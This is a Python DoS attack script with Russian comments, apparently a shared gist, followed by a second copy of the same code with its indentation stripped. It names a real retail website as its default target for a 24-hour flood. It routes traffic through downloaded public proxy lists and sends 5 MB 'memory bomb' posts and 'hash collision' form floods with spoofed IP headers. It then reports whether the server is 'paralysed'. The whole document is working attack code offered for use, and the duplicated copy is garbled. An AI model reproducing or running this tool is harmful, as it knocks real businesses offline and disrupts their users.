RoninReilly/simple_dos_server_v3.py

## simple_dos_server_v3.py
#!/usr/bin/env python3
"""
🔥 АГРЕССИВНАЯ DoS АТАКА v3.0 - SMART PROXY MODE 🔥
Версия с умной работой с прокси для серверов

Использование:
python3 simple_dos_server_v3.py
python3 simple_dos_server_v3.py --target https://example.com --threads 50 --duration 3600
curl -s https://your-server.com/simple_dos_server_v3.py | python3
"""

import requests
import threading
import time
import random
import os
import sys
import argparse
from datetime import datetime
from collections import deque
import json

# Автоматическая установка зависимостей
def install_requirements():
    """Автоматически устанавливает необходимые зависимости"""
    try:
        import requests
    except ImportError:
        print("📦 Устанавливаю requests...")
        os.system(f"{sys.executable} -m pip install requests")
        import requests

# --- КОНФИГУРАЦИЯ ПО УМОЛЧАНИЮ ---
DEFAULT_CONFIG = {
    'target_url': "https://bertazzoni.com.ru/bertazzoni/?limit=1000",
    'thread_count': 50,
    'attack_duration': 86400,  # 24 часа
    'proxy_file': "proxy.txt",
    'log_interval': 5,
    'auto_proxy_download': True,
    'proxy_sources': [
        {"type": "http", "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt", "timeout": 10},
        {"type": "socks4", "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/refs/heads/master/socks4.txt", "timeout": 10},
        {"type": "socks5", "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/refs/heads/master/socks5.txt", "timeout": 10}
    ],
    'memory_bomb_size': 5000000,  # 5MB для скорости
    'request_timeout': 10,  # 10 сек
    'max_retries': 3,  # Максимум попыток с одним прокси
    'proxy_rotation_interval': 50  # Меняем прокси каждые 50 запросов
}

# Глобальные переменные
proxies = []
good_proxies = []  # Проверенные хорошие прокси
bad_proxies = set()  # Плохие прокси
proxy_types = {}
proxy_usage_count = {}  # Счетчик использования прокси
current_proxy_index = 0
stats = {
    'total': 0,
    'success': 0,
    'failed': 0,
    'times': deque(maxlen=100),
    'proxy_success': {},
    'proxy_failed': {},
    'server_status': 'Unknown',
    'start_time': None,
    'last_response_time': 0,
    'requests_per_second': 0,
    'avg_response_time': 0,
    'attack_running': False
}
lock = threading.Lock()

def log(message, level="INFO"):
    """Простое логирование"""
    timestamp = datetime.now().strftime("%H:%M:%S")
    print(f"[{timestamp}] [{level}] {message}")

def download_proxies():
    """Скачивает прокси из источников SpeedX"""
    log("🌐 Скачиваю качественные прокси от SpeedX...")
    all_proxies = []

    for source in DEFAULT_CONFIG['proxy_sources']:
        try:
            log(f"📥 Загружаю {source['type']} прокси...")
            response = requests.get(source['url'], timeout=source['timeout'])
            if response.status_code == 200:
                proxies_from_source = [line.strip() for line in response.text.split('\n') if line.strip()]
                # Добавляем тип прокси к каждому
                for proxy in proxies_from_source:
                    all_proxies.append(proxy)
                    proxy_types[proxy] = source['type']
                log(f"✅ Получено {len(proxies_from_source)} {source['type']} прокси")
        except Exception as e:
            log(f"❌ Ошибка загрузки {source['type']} прокси: {e}", "ERROR")

    # Сохраняем в файл
    if all_proxies:
        with open(DEFAULT_CONFIG['proxy_file'], 'w') as f:
            for proxy in all_proxies:
                f.write(f"{proxy}|{proxy_types.get(proxy, 'http')}\n")
        log(f"💾 Сохранено {len(all_proxies)} прокси в {DEFAULT_CONFIG['proxy_file']}")
        return True
    return False

def load_proxies():
    """Загружает прокси из файла или скачивает их"""
    global proxies, proxy_types

    # Пытаемся загрузить из файла
    if os.path.exists(DEFAULT_CONFIG['proxy_file']):
        try:
            with open(DEFAULT_CONFIG['proxy_file'], 'r', encoding='utf-8') as f:
                for line in f:
                    line = line.strip()
                    if line:
                        if '|' in line:
                            proxy, ptype = line.split('|', 1)
                            proxies.append(proxy)
                            proxy_types[proxy] = ptype
                        else:
                            proxies.append(line)
                            proxy_types[line] = 'http'
            if proxies:
                log(f"📋 Загружено {len(proxies)} прокси из файла")
                return True
        except Exception as e:
            log(f"❌ Ошибка чтения файла прокси: {e}", "ERROR")

    # Если файла нет или он пустой, скачиваем
    if DEFAULT_CONFIG['auto_proxy_download']:
        if download_proxies():
            return load_proxies()  # Рекурсивно загружаем после скачивания

    log("❌ Не удалось загрузить прокси", "ERROR")
    return False

def format_proxy(proxy_url, proxy_type='http'):
    """Форматирует прокси для requests"""
    if proxy_type == 'socks4':
        if not proxy_url.startswith('socks4://'):
            proxy_url = 'socks4://' + proxy_url
    elif proxy_type == 'socks5':
        if not proxy_url.startswith('socks5://'):
            proxy_url = 'socks5://' + proxy_url
    else:  # http
        if not proxy_url.startswith(('http://', 'https://')):
            proxy_url = 'http://' + proxy_url

    return {
        'http': proxy_url,
        'https': proxy_url
    }

def get_next_proxy():
    """Возвращает следующий прокси по ротации"""
    global current_proxy_index

    # Сначала используем хорошие прокси
    if good_proxies:
        with lock:
            current_proxy_index = (current_proxy_index + 1) % len(good_proxies)
            return good_proxies[current_proxy_index]

    # Если хороших нет, используем все
    if proxies:
        available_proxies = [p for p in proxies if p not in bad_proxies]
        if available_proxies:
            return random.choice(available_proxies)

    return None

def mark_proxy_good(proxy_url):
    """Отмечает прокси как хороший"""
    with lock:
        if proxy_url not in good_proxies:
            good_proxies.append(proxy_url)
        if proxy_url in bad_proxies:
            bad_proxies.remove(proxy_url)

def mark_proxy_bad(proxy_url):
    """Отмечает прокси как плохой"""
    with lock:
        bad_proxies.add(proxy_url)
        if proxy_url in good_proxies:
            good_proxies.remove(proxy_url)

def lightweight_attack(target_url):
    """Легкая атака с умной ротацией прокси"""
    proxy_url = get_next_proxy()
    if not proxy_url:
        return False

    retries = 0
    while retries < DEFAULT_CONFIG['max_retries']:
        try:
            proxy_type = proxy_types.get(proxy_url, 'http')
            proxy_dict = format_proxy(proxy_url, proxy_type)

            # Легкие данные для быстрой атаки
            attack_data = {
                'payload': 'X' * DEFAULT_CONFIG['memory_bomb_size'],
                'attack_id': str(random.randint(100000, 999999)),
                'timestamp': str(time.time())
            }

            start_time = time.time()
            response = requests.post(
                target_url,
                data=attack_data,
                headers={
                    'Content-Type': 'application/x-www-form-urlencoded',
                    'User-Agent': f'Mozilla/5.0 (Attack-{random.randint(1000,9999)})',
                    'Connection': 'close',
                    'Accept': '*/*',
                    'X-Forwarded-For': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}',
                    'X-Real-IP': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}'
                },
                proxies=proxy_dict,
                timeout=DEFAULT_CONFIG['request_timeout'],
                allow_redirects=False
            )
            response_time = time.time() - start_time

            # Успешный запрос
            mark_proxy_good(proxy_url)

            with lock:
                stats['success'] += 1
                stats['total'] += 1
                stats['times'].append(response_time)
                stats['last_response_time'] = response_time

                if proxy_url not in stats['proxy_success']:
                    stats['proxy_success'][proxy_url] = 0
                stats['proxy_success'][proxy_url] += 1

                # Определяем статус сервера
                if response_time > 15:
                    stats['server_status'] = 'КРИТИЧЕСКИ ПЕРЕГРУЖЕН'
                elif response_time > 10:
                    stats['server_status'] = 'СИЛЬНО ПЕРЕГРУЖЕН'
                elif response_time > 5:
                    stats['server_status'] = 'ПЕРЕГРУЖЕН'
                elif response_time > 2:
                    stats['server_status'] = 'ПОД НАГРУЗКОЙ'
                else:
                    stats['server_status'] = 'СТАБИЛЬНЫЙ'

            return True

        except Exception as e:
            retries += 1
            if retries >= DEFAULT_CONFIG['max_retries']:
                # Прокси окончательно плохой
                mark_proxy_bad(proxy_url)

                with lock:
                    stats['failed'] += 1
                    stats['total'] += 1

                    if proxy_url not in stats['proxy_failed']:
                        stats['proxy_failed'][proxy_url] = 0
                    stats['proxy_failed'][proxy_url] += 1

                return False
            else:
                # Пробуем еще раз с тем же прокси
                time.sleep(0.1)

    return False

def hash_collision_attack(target_url):
    """Оптимизированная hash collision атака"""
    proxy_url = get_next_proxy()
    if not proxy_url:
        return False

    try:
        proxy_type = proxy_types.get(proxy_url, 'http')
        proxy_dict = format_proxy(proxy_url, proxy_type)

        # Меньше коллизий для скорости
        collision_data = {}
        for i in range(5000):  # Еще меньше для скорости
            key = f"hash_{i:010d}"
            collision_data[key] = f"collision_value_{i}"

        start_time = time.time()
        response = requests.post(
            target_url,
            data=collision_data,
            headers={
                'User-Agent': f'Mozilla/5.0 (HashAttack-{random.randint(1000,9999)})',
                'X-Real-IP': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}'
            },
            proxies=proxy_dict,
            timeout=DEFAULT_CONFIG['request_timeout'],
            allow_redirects=False
        )
        response_time = time.time() - start_time

        mark_proxy_good(proxy_url)

        with lock:
            stats['success'] += 1
            stats['total'] += 1
            stats['times'].append(response_time)
            stats['last_response_time'] = response_time

            if proxy_url not in stats['proxy_success']:
                stats['proxy_success'][proxy_url] = 0
            stats['proxy_success'][proxy_url] += 1

        return True

    except Exception as e:
        mark_proxy_bad(proxy_url)

        with lock:
            stats['failed'] += 1
            stats['total'] += 1

            if proxy_url not in stats['proxy_failed']:
                stats['proxy_failed'][proxy_url] = 0
            stats['proxy_failed'][proxy_url] += 1

        return False

def combined_attack_worker(target_url, duration):
    """Комбинированная атака с умной ротацией прокси"""
    start_time = time.time()
    request_count = 0

    while stats['attack_running'] and (time.time() - start_time) < duration:
        # Проверяем, есть ли доступные прокси
        available_proxies = len([p for p in proxies if p not in bad_proxies])
        if available_proxies == 0:
            log("❌ Все прокси мертвые, останавливаю поток", "ERROR")
            break

        # Чередуем типы атак
        if request_count % 3 == 0:
            lightweight_attack(target_url)
        else:
            hash_collision_attack(target_url)

        request_count += 1

        # Очень маленькая задержка для агрессивности
        time.sleep(random.uniform(0.01, 0.05))

def calculate_rps():
    """Вычисляет запросы в секунду"""
    if not stats['start_time']:
        return 0

    elapsed = time.time() - stats['start_time']
    if elapsed > 0:
        return stats['total'] / elapsed
    return 0

def get_avg_response_time():
    """Вычисляет среднее время ответа"""
    if stats['times']:
        return sum(stats['times']) / len(stats['times'])
    return 0

def print_stats():
    """Выводит статистику в консоль"""
    if stats['total'] == 0:
        return

    success_rate = (stats['success'] / stats['total']) * 100
    rps = calculate_rps()
    avg_time = get_avg_response_time()
    elapsed = time.time() - stats['start_time'] if stats['start_time'] else 0

    log("=" * 80)
    log(f"📊 СТАТИСТИКА АТАКИ")
    log(f"🎯 Цель: {DEFAULT_CONFIG['target_url']}")
    log(f"⏰ Время работы: {elapsed:.0f}с")
    log(f"📈 Всего запросов: {stats['total']:,}")
    log(f"✅ Успешных: {stats['success']:,} ({success_rate:.1f}%)")
    log(f"❌ Неудачных: {stats['failed']:,}")
    log(f"🚀 Скорость: {rps:.1f} req/sec")
    log(f"⏱️ Среднее время ответа: {avg_time:.3f}с")
    log(f"🌐 Хороших прокси: {len(good_proxies):,}")
    log(f"💀 Плохих прокси: {len(bad_proxies):,}")
    log(f"🔥 Статус сервера: {stats['server_status']}")
    log("=" * 80)

def stats_monitor(log_interval):
    """Мониторинг статистики в отдельном потоке"""
    while stats['attack_running']:
        time.sleep(log_interval)
        if stats['attack_running']:
            print_stats()

def parse_arguments():
    """Парсит аргументы командной строки"""
    parser = argparse.ArgumentParser(description='🔥 Умная DoS атака для серверов v3.0')
    parser.add_argument('--target', '-t', default=DEFAULT_CONFIG['target_url'],
                       help='URL цели для атаки')
    parser.add_argument('--threads', '-th', type=int, default=DEFAULT_CONFIG['thread_count'],
                       help='Количество потоков')
    parser.add_argument('--duration', '-d', type=int, default=DEFAULT_CONFIG['attack_duration'],
                       help='Длительность атаки в секундах')
    parser.add_argument('--proxy-file', '-p', default=DEFAULT_CONFIG['proxy_file'],
                       help='Файл с прокси')
    parser.add_argument('--log-interval', '-l', type=int, default=DEFAULT_CONFIG['log_interval'],
                       help='Интервал вывода статистики в секундах')
    parser.add_argument('--no-auto-proxy', action='store_true',
                       help='Отключить автоматическое скачивание прокси')
    parser.add_argument('--silent', '-s', action='store_true',
                       help='Тихий режим (минимум логов)')

    return parser.parse_args()

def main():
    """Основная функция"""
    global stats

    # Устанавливаем зависимости
    install_requirements()

    # Парсим аргументы
    args = parse_arguments()

    # Обновляем конфигурацию
    DEFAULT_CONFIG['target_url'] = args.target
    DEFAULT_CONFIG['thread_count'] = args.threads
    DEFAULT_CONFIG['attack_duration'] = args.duration
    DEFAULT_CONFIG['proxy_file'] = args.proxy_file
    DEFAULT_CONFIG['log_interval'] = args.log_interval
    DEFAULT_CONFIG['auto_proxy_download'] = not args.no_auto_proxy

    if not args.silent:
        log("🔥🔥🔥 ЗАПУСК УМНОЙ DoS АТАКИ v3.0 🔥🔥🔥")
        log(f"🎯 Цель: {DEFAULT_CONFIG['target_url']}")
        log(f"🧵 Потоков: {DEFAULT_CONFIG['thread_count']}")
        log(f"⏰ Длительность: {DEFAULT_CONFIG['attack_duration']} секунд")
        log("🚀 Методы: Smart Proxy Rotation + Lightweight + Hash Collision")

    # Загружаем прокси
    if not load_proxies():
        log("❌ Не удалось загрузить прокси. Завершение работы.", "ERROR")
        return 1

    if not args.silent:
        log(f"✅ Загружено {len(proxies):,} прокси")
        log("🎯 Использую умную ротацию прокси (без предварительной проверки)")
        log("🚀 Начинаю атаку...")

    stats['start_time'] = time.time()
    stats['attack_running'] = True

    # Запускаем атакующие потоки
    threads = []
    for i in range(DEFAULT_CONFIG['thread_count']):
        thread = threading.Thread(
            target=combined_attack_worker,
            args=(DEFAULT_CONFIG['target_url'], DEFAULT_CONFIG['attack_duration'])
        )
        thread.daemon = True
        threads.append(thread)
        thread.start()

    # Запускаем мониторинг статистики
    if not args.silent:
        stats_thread = threading.Thread(
            target=stats_monitor,
            args=(DEFAULT_CONFIG['log_interval'],)
        )
        stats_thread.daemon = True
        stats_thread.start()

    # Ждем завершения атаки
    try:
        start_time = time.time()
        while stats['attack_running'] and (time.time() - start_time) < DEFAULT_CONFIG['attack_duration']:
            time.sleep(1)

        stats['attack_running'] = False

        if not args.silent:
            log("🔥 АТАКА ЗАВЕРШЕНА 🔥")
            print_stats()

            # Финальная оценка
            avg_time = get_avg_response_time()
            if avg_time > 15.0:
                log("🔥🔥🔥🔥 СЕРВЕР ПОЛНОСТЬЮ ПАРАЛИЗОВАН! 🔥🔥🔥🔥")
            elif avg_time > 10.0:
                log("🔥🔥🔥 СЕРВЕР КРИТИЧЕСКИ ПЕРЕГРУЖЕН! 🔥🔥🔥")
            elif avg_time > 5.0:
                log("🔥🔥 СЕРВЕР СИЛЬНО ЗАМЕДЛИЛСЯ! 🔥🔥")
            elif avg_time > 2.0:
                log("🔥 Сервер под серьезной нагрузкой! 🔥")
            else:
                log("⚠️ Сервер устоял против атаки")

        return 0

    except KeyboardInterrupt:
        stats['attack_running'] = False
        if not args.silent:
            log("🛑 АТАКА ОСТАНОВЛЕНА ПОЛЬЗОВАТЕЛЕМ")
        return 0

if __name__ == "__main__":
    sys.exit(main())
	#!/usr/bin/env python3
	"""
	🔥 АГРЕССИВНАЯ DoS АТАКА v3.0 - SMART PROXY MODE 🔥
	Версия с умной работой с прокси для серверов

	Использование:
	python3 simple_dos_server_v3.py
	python3 simple_dos_server_v3.py --target https://example.com --threads 50 --duration 3600
	curl -s https://your-server.com/simple_dos_server_v3.py \| python3
	"""

	import requests
	import threading
	import time
	import random
	import os
	import sys
	import argparse
	from datetime import datetime
	from collections import deque
	import json

	# Автоматическая установка зависимостей
	def install_requirements():
	"""Автоматически устанавливает необходимые зависимости"""
	try:
	import requests
	except ImportError:
	print("📦 Устанавливаю requests...")
	os.system(f"{sys.executable} -m pip install requests")
	import requests

	# --- КОНФИГУРАЦИЯ ПО УМОЛЧАНИЮ ---
	DEFAULT_CONFIG = {
	'target_url': "https://bertazzoni.com.ru/bertazzoni/?limit=1000",
	'thread_count': 50,
	'attack_duration': 86400, # 24 часа
	'proxy_file': "proxy.txt",
	'log_interval': 5,
	'auto_proxy_download': True,
	'proxy_sources': [
	{"type": "http", "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt", "timeout": 10},
	{"type": "socks4", "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/refs/heads/master/socks4.txt", "timeout": 10},
	{"type": "socks5", "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/refs/heads/master/socks5.txt", "timeout": 10}
	],
	'memory_bomb_size': 5000000, # 5MB для скорости
	'request_timeout': 10, # 10 сек
	'max_retries': 3, # Максимум попыток с одним прокси
	'proxy_rotation_interval': 50 # Меняем прокси каждые 50 запросов
	}

	# Глобальные переменные
	proxies = []
	good_proxies = [] # Проверенные хорошие прокси
	bad_proxies = set() # Плохие прокси
	proxy_types = {}
	proxy_usage_count = {} # Счетчик использования прокси
	current_proxy_index = 0
	stats = {
	'total': 0,
	'success': 0,
	'failed': 0,
	'times': deque(maxlen=100),
	'proxy_success': {},
	'proxy_failed': {},
	'server_status': 'Unknown',
	'start_time': None,
	'last_response_time': 0,
	'requests_per_second': 0,
	'avg_response_time': 0,
	'attack_running': False
	}
	lock = threading.Lock()

	def log(message, level="INFO"):
	"""Простое логирование"""
	timestamp = datetime.now().strftime("%H:%M:%S")
	print(f"[{timestamp}] [{level}] {message}")

	def download_proxies():
	"""Скачивает прокси из источников SpeedX"""
	log("🌐 Скачиваю качественные прокси от SpeedX...")
	all_proxies = []

	for source in DEFAULT_CONFIG['proxy_sources']:
	try:
	log(f"📥 Загружаю {source['type']} прокси...")
	response = requests.get(source['url'], timeout=source['timeout'])
	if response.status_code == 200:
	proxies_from_source = [line.strip() for line in response.text.split('\n') if line.strip()]
	# Добавляем тип прокси к каждому
	for proxy in proxies_from_source:
	all_proxies.append(proxy)
	proxy_types[proxy] = source['type']
	log(f"✅ Получено {len(proxies_from_source)} {source['type']} прокси")
	except Exception as e:
	log(f"❌ Ошибка загрузки {source['type']} прокси: {e}", "ERROR")

	# Сохраняем в файл
	if all_proxies:
	with open(DEFAULT_CONFIG['proxy_file'], 'w') as f:
	for proxy in all_proxies:
	f.write(f"{proxy}\|{proxy_types.get(proxy, 'http')}\n")
	log(f"💾 Сохранено {len(all_proxies)} прокси в {DEFAULT_CONFIG['proxy_file']}")
	return True
	return False

	def load_proxies():
	"""Загружает прокси из файла или скачивает их"""
	global proxies, proxy_types

	# Пытаемся загрузить из файла
	if os.path.exists(DEFAULT_CONFIG['proxy_file']):
	try:
	with open(DEFAULT_CONFIG['proxy_file'], 'r', encoding='utf-8') as f:
	for line in f:
	line = line.strip()
	if line:
	if '\|' in line:
	proxy, ptype = line.split('\|', 1)
	proxies.append(proxy)
	proxy_types[proxy] = ptype
	else:
	proxies.append(line)
	proxy_types[line] = 'http'
	if proxies:
	log(f"📋 Загружено {len(proxies)} прокси из файла")
	return True
	except Exception as e:
	log(f"❌ Ошибка чтения файла прокси: {e}", "ERROR")

	# Если файла нет или он пустой, скачиваем
	if DEFAULT_CONFIG['auto_proxy_download']:
	if download_proxies():
	return load_proxies() # Рекурсивно загружаем после скачивания

	log("❌ Не удалось загрузить прокси", "ERROR")
	return False

	def format_proxy(proxy_url, proxy_type='http'):
	"""Форматирует прокси для requests"""
	if proxy_type == 'socks4':
	if not proxy_url.startswith('socks4://'):
	proxy_url = 'socks4://' + proxy_url
	elif proxy_type == 'socks5':
	if not proxy_url.startswith('socks5://'):
	proxy_url = 'socks5://' + proxy_url
	else: # http
	if not proxy_url.startswith(('http://', 'https://')):
	proxy_url = 'http://' + proxy_url

	return {
	'http': proxy_url,
	'https': proxy_url
	}

	def get_next_proxy():
	"""Возвращает следующий прокси по ротации"""
	global current_proxy_index

	# Сначала используем хорошие прокси
	if good_proxies:
	with lock:
	current_proxy_index = (current_proxy_index + 1) % len(good_proxies)
	return good_proxies[current_proxy_index]

	# Если хороших нет, используем все
	if proxies:
	available_proxies = [p for p in proxies if p not in bad_proxies]
	if available_proxies:
	return random.choice(available_proxies)

	return None

	def mark_proxy_good(proxy_url):
	"""Отмечает прокси как хороший"""
	with lock:
	if proxy_url not in good_proxies:
	good_proxies.append(proxy_url)
	if proxy_url in bad_proxies:
	bad_proxies.remove(proxy_url)

	def mark_proxy_bad(proxy_url):
	"""Отмечает прокси как плохой"""
	with lock:
	bad_proxies.add(proxy_url)
	if proxy_url in good_proxies:
	good_proxies.remove(proxy_url)

	def lightweight_attack(target_url):
	"""Легкая атака с умной ротацией прокси"""
	proxy_url = get_next_proxy()
	if not proxy_url:
	return False

	retries = 0
	while retries < DEFAULT_CONFIG['max_retries']:
	try:
	proxy_type = proxy_types.get(proxy_url, 'http')
	proxy_dict = format_proxy(proxy_url, proxy_type)

	# Легкие данные для быстрой атаки
	attack_data = {
	'payload': 'X' * DEFAULT_CONFIG['memory_bomb_size'],
	'attack_id': str(random.randint(100000, 999999)),
	'timestamp': str(time.time())
	}

	start_time = time.time()
	response = requests.post(
	target_url,
	data=attack_data,
	headers={
	'Content-Type': 'application/x-www-form-urlencoded',
	'User-Agent': f'Mozilla/5.0 (Attack-{random.randint(1000,9999)})',
	'Connection': 'close',
	'Accept': '/',
	'X-Forwarded-For': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}',
	'X-Real-IP': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}'
	},
	proxies=proxy_dict,
	timeout=DEFAULT_CONFIG['request_timeout'],
	allow_redirects=False
	)
	response_time = time.time() - start_time

	# Успешный запрос
	mark_proxy_good(proxy_url)

	with lock:
	stats['success'] += 1
	stats['total'] += 1
	stats['times'].append(response_time)
	stats['last_response_time'] = response_time

	if proxy_url not in stats['proxy_success']:
	stats['proxy_success'][proxy_url] = 0
	stats['proxy_success'][proxy_url] += 1

	# Определяем статус сервера
	if response_time > 15:
	stats['server_status'] = 'КРИТИЧЕСКИ ПЕРЕГРУЖЕН'
	elif response_time > 10:
	stats['server_status'] = 'СИЛЬНО ПЕРЕГРУЖЕН'
	elif response_time > 5:
	stats['server_status'] = 'ПЕРЕГРУЖЕН'
	elif response_time > 2:
	stats['server_status'] = 'ПОД НАГРУЗКОЙ'
	else:
	stats['server_status'] = 'СТАБИЛЬНЫЙ'

	return True

	except Exception as e:
	retries += 1
	if retries >= DEFAULT_CONFIG['max_retries']:
	# Прокси окончательно плохой
	mark_proxy_bad(proxy_url)

	with lock:
	stats['failed'] += 1
	stats['total'] += 1

	if proxy_url not in stats['proxy_failed']:
	stats['proxy_failed'][proxy_url] = 0
	stats['proxy_failed'][proxy_url] += 1

	return False
	else:
	# Пробуем еще раз с тем же прокси
	time.sleep(0.1)

	return False

	def hash_collision_attack(target_url):
	"""Оптимизированная hash collision атака"""
	proxy_url = get_next_proxy()
	if not proxy_url:
	return False

	try:
	proxy_type = proxy_types.get(proxy_url, 'http')
	proxy_dict = format_proxy(proxy_url, proxy_type)

	# Меньше коллизий для скорости
	collision_data = {}
	for i in range(5000): # Еще меньше для скорости
	key = f"hash_{i:010d}"
	collision_data[key] = f"collision_value_{i}"

	start_time = time.time()
	response = requests.post(
	target_url,
	data=collision_data,
	headers={
	'User-Agent': f'Mozilla/5.0 (HashAttack-{random.randint(1000,9999)})',
	'X-Real-IP': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}'
	},
	proxies=proxy_dict,
	timeout=DEFAULT_CONFIG['request_timeout'],
	allow_redirects=False
	)
	response_time = time.time() - start_time

	mark_proxy_good(proxy_url)

	with lock:
	stats['success'] += 1
	stats['total'] += 1
	stats['times'].append(response_time)
	stats['last_response_time'] = response_time

	if proxy_url not in stats['proxy_success']:
	stats['proxy_success'][proxy_url] = 0
	stats['proxy_success'][proxy_url] += 1

	return True

	except Exception as e:
	mark_proxy_bad(proxy_url)

	with lock:
	stats['failed'] += 1
	stats['total'] += 1

	if proxy_url not in stats['proxy_failed']:
	stats['proxy_failed'][proxy_url] = 0
	stats['proxy_failed'][proxy_url] += 1

	return False

	def combined_attack_worker(target_url, duration):
	"""Комбинированная атака с умной ротацией прокси"""
	start_time = time.time()
	request_count = 0

	while stats['attack_running'] and (time.time() - start_time) < duration:
	# Проверяем, есть ли доступные прокси
	available_proxies = len([p for p in proxies if p not in bad_proxies])
	if available_proxies == 0:
	log("❌ Все прокси мертвые, останавливаю поток", "ERROR")
	break

	# Чередуем типы атак
	if request_count % 3 == 0:
	lightweight_attack(target_url)
	else:
	hash_collision_attack(target_url)

	request_count += 1

	# Очень маленькая задержка для агрессивности
	time.sleep(random.uniform(0.01, 0.05))

	def calculate_rps():
	"""Вычисляет запросы в секунду"""
	if not stats['start_time']:
	return 0

	elapsed = time.time() - stats['start_time']
	if elapsed > 0:
	return stats['total'] / elapsed
	return 0

	def get_avg_response_time():
	"""Вычисляет среднее время ответа"""
	if stats['times']:
	return sum(stats['times']) / len(stats['times'])
	return 0

	def print_stats():
	"""Выводит статистику в консоль"""
	if stats['total'] == 0:
	return

	success_rate = (stats['success'] / stats['total']) * 100
	rps = calculate_rps()
	avg_time = get_avg_response_time()
	elapsed = time.time() - stats['start_time'] if stats['start_time'] else 0

	log("=" * 80)
	log(f"📊 СТАТИСТИКА АТАКИ")
	log(f"🎯 Цель: {DEFAULT_CONFIG['target_url']}")
	log(f"⏰ Время работы: {elapsed:.0f}с")
	log(f"📈 Всего запросов: {stats['total']:,}")
	log(f"✅ Успешных: {stats['success']:,} ({success_rate:.1f}%)")
	log(f"❌ Неудачных: {stats['failed']:,}")
	log(f"🚀 Скорость: {rps:.1f} req/sec")
	log(f"⏱️ Среднее время ответа: {avg_time:.3f}с")
	log(f"🌐 Хороших прокси: {len(good_proxies):,}")
	log(f"💀 Плохих прокси: {len(bad_proxies):,}")
	log(f"🔥 Статус сервера: {stats['server_status']}")
	log("=" * 80)

	def stats_monitor(log_interval):
	"""Мониторинг статистики в отдельном потоке"""
	while stats['attack_running']:
	time.sleep(log_interval)
	if stats['attack_running']:
	print_stats()

	def parse_arguments():
	"""Парсит аргументы командной строки"""
	parser = argparse.ArgumentParser(description='🔥 Умная DoS атака для серверов v3.0')
	parser.add_argument('--target', '-t', default=DEFAULT_CONFIG['target_url'],
	help='URL цели для атаки')
	parser.add_argument('--threads', '-th', type=int, default=DEFAULT_CONFIG['thread_count'],
	help='Количество потоков')
	parser.add_argument('--duration', '-d', type=int, default=DEFAULT_CONFIG['attack_duration'],
	help='Длительность атаки в секундах')
	parser.add_argument('--proxy-file', '-p', default=DEFAULT_CONFIG['proxy_file'],
	help='Файл с прокси')
	parser.add_argument('--log-interval', '-l', type=int, default=DEFAULT_CONFIG['log_interval'],
	help='Интервал вывода статистики в секундах')
	parser.add_argument('--no-auto-proxy', action='store_true',
	help='Отключить автоматическое скачивание прокси')
	parser.add_argument('--silent', '-s', action='store_true',
	help='Тихий режим (минимум логов)')

	return parser.parse_args()

	def main():
	"""Основная функция"""
	global stats

	# Устанавливаем зависимости
	install_requirements()

	# Парсим аргументы
	args = parse_arguments()

	# Обновляем конфигурацию
	DEFAULT_CONFIG['target_url'] = args.target
	DEFAULT_CONFIG['thread_count'] = args.threads
	DEFAULT_CONFIG['attack_duration'] = args.duration
	DEFAULT_CONFIG['proxy_file'] = args.proxy_file
	DEFAULT_CONFIG['log_interval'] = args.log_interval
	DEFAULT_CONFIG['auto_proxy_download'] = not args.no_auto_proxy

	if not args.silent:
	log("🔥🔥🔥 ЗАПУСК УМНОЙ DoS АТАКИ v3.0 🔥🔥🔥")
	log(f"🎯 Цель: {DEFAULT_CONFIG['target_url']}")
	log(f"🧵 Потоков: {DEFAULT_CONFIG['thread_count']}")
	log(f"⏰ Длительность: {DEFAULT_CONFIG['attack_duration']} секунд")
	log("🚀 Методы: Smart Proxy Rotation + Lightweight + Hash Collision")

	# Загружаем прокси
	if not load_proxies():
	log("❌ Не удалось загрузить прокси. Завершение работы.", "ERROR")
	return 1

	if not args.silent:
	log(f"✅ Загружено {len(proxies):,} прокси")
	log("🎯 Использую умную ротацию прокси (без предварительной проверки)")
	log("🚀 Начинаю атаку...")

	stats['start_time'] = time.time()
	stats['attack_running'] = True

	# Запускаем атакующие потоки
	threads = []
	for i in range(DEFAULT_CONFIG['thread_count']):
	thread = threading.Thread(
	target=combined_attack_worker,
	args=(DEFAULT_CONFIG['target_url'], DEFAULT_CONFIG['attack_duration'])
	)
	thread.daemon = True
	threads.append(thread)
	thread.start()

	# Запускаем мониторинг статистики
	if not args.silent:
	stats_thread = threading.Thread(
	target=stats_monitor,
	args=(DEFAULT_CONFIG['log_interval'],)
	)
	stats_thread.daemon = True
	stats_thread.start()

	# Ждем завершения атаки
	try:
	start_time = time.time()
	while stats['attack_running'] and (time.time() - start_time) < DEFAULT_CONFIG['attack_duration']:
	time.sleep(1)

	stats['attack_running'] = False

	if not args.silent:
	log("🔥 АТАКА ЗАВЕРШЕНА 🔥")
	print_stats()

	# Финальная оценка
	avg_time = get_avg_response_time()
	if avg_time > 15.0:
	log("🔥🔥🔥🔥 СЕРВЕР ПОЛНОСТЬЮ ПАРАЛИЗОВАН! 🔥🔥🔥🔥")
	elif avg_time > 10.0:
	log("🔥🔥🔥 СЕРВЕР КРИТИЧЕСКИ ПЕРЕГРУЖЕН! 🔥🔥🔥")
	elif avg_time > 5.0:
	log("🔥🔥 СЕРВЕР СИЛЬНО ЗАМЕДЛИЛСЯ! 🔥🔥")
	elif avg_time > 2.0:
	log("🔥 Сервер под серьезной нагрузкой! 🔥")
	else:
	log("⚠️ Сервер устоял против атаки")

	return 0

	except KeyboardInterrupt:
	stats['attack_running'] = False
	if not args.silent:
	log("🛑 АТАКА ОСТАНОВЛЕНА ПОЛЬЗОВАТЕЛЕМ")
	return 0

	if __name__ == "__main__":
	sys.exit(main())
No results found